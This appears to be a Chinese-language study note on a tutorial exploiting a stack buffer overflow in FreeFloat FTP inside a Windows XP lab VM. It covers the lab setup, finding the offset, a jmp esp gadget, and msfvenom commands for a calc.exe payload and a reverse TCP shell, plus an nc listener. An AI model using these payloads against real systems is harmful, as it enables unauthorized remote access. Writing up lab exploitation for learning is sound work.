---
# System prepended metadata

title: Windows Exploit Development - Saved Return Pointer Overflows

---

# Windows Exploit Development - Saved Return Pointer Overflows

Fuzzy Security 的教學第二部分，主要就是簡單的 stack buffer overflow 和 shellcode ，收穫大多是工具的熟悉僅此

## 環境搭建
### 基本訊息
virtual box
windows xp sp3 ，我用的是之前網路上載的 black edition
processor: 2
memory: 2G
network: Nat Network ，考慮到需要從 host 送 payload 到 guest ，故採用兩者可以相通的 nat network

### Nat Network 設定
virtualbox tools -> Preferences -> Network -> Nat Network -> edit selected nat network -> port forwarding -> host port, guest ip, guest port 

其中 host port 為想要跟 guest port 綁定的 port ， guest ip 可以在 guest 內透過 `ipconfig` 或 `ifconfig` 得知， port 則是看程式設定

guest -> host: host 中的 inet addr 基本上就是了，反正每個網卡都試一下
host->guest: `ifconfig` 中出現的 inet addr 都嘗試一下......

### 傳遞檔案
我的 windows xp 不知為何無法進入 github 也無法 drag and drop ，我只好用 python -m SimpleHttpServer 來送檔案給 guest

## 需要工具
* Immunity Debugger: 雖然很多人推薦，但我不清楚真正好用在哪XD，可能是可以跑 mona ?
* pwntools: pwn 神器， library 有很多好用的工具，方便做交互
* metasploit framework: 知名 exploit framework ，對我而言最大的好處就是不用自己費神弄一個 windows shellcode
* FreeFloat FTP: 這次的目標

## 流程
基本上是照著教學走，不過有 linux pwn 的經驗，大多都知道要幹嘛，除了 debug 比較麻煩外其他應該沒啥差別

1. 確認漏洞: 這部分教學的 exploit 有給提示在 MDK 上了
2. 弄個雛形的 exploit
3. 送 cyclic 給 FreeFloat 看第幾個會蓋到 return address
4. 確認下 padding 是否正確
5. 透過 mona 找到 jmp esp 來讓程式跳進 shellcode ， command:
`!mona jmp -r esp` 具體是什麼意思，我還要再研究
6. 將 jmp esp 放到 return address 上，並研究 esp 的位置且如何覆蓋到
7. 從 msfvenom 生出 windows 的 shellcode ，這邊我簡單彈出一個 calc.exe 即可，指令:
```shell
msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -b '\x00\x09\x0a\x0d\x1a\x20'
```
-a: arch
--platform: 顧名思義
-p: generate payload
-b: banned ，即 payload 不可出現後續字元

如此應該會生出一個 200 多 byte 的 payload
8. 在 payload 前放一堆 nop ，以防出錯
> 我他媽就是沒擺 nop sled ，導致卡了好幾十分鐘

9. 送出 payload ，看 guest 彈出 calc.exe
10. 最後不免俗還是要弄個 shell 出來才算大功告成:
    這邊如果把 guest 當 server 傳資料不知道需不需要打開防火牆，我個人是懶的這樣做，所以把 guest 當 client ， server 的部分開在 host ，換句話說就是弄個 reverse tcp shell 
    command: 
    `msfvenom -a x86 -platform windows -p  windows/shell_reverse_tcp lhost=172.17.0.1 lport=4444 -b '\x00\x09\x0a\x0d\x1a\x20 --format python`
    不要忘記在 host 開一個 listen port:
    `nc -vlp 4444`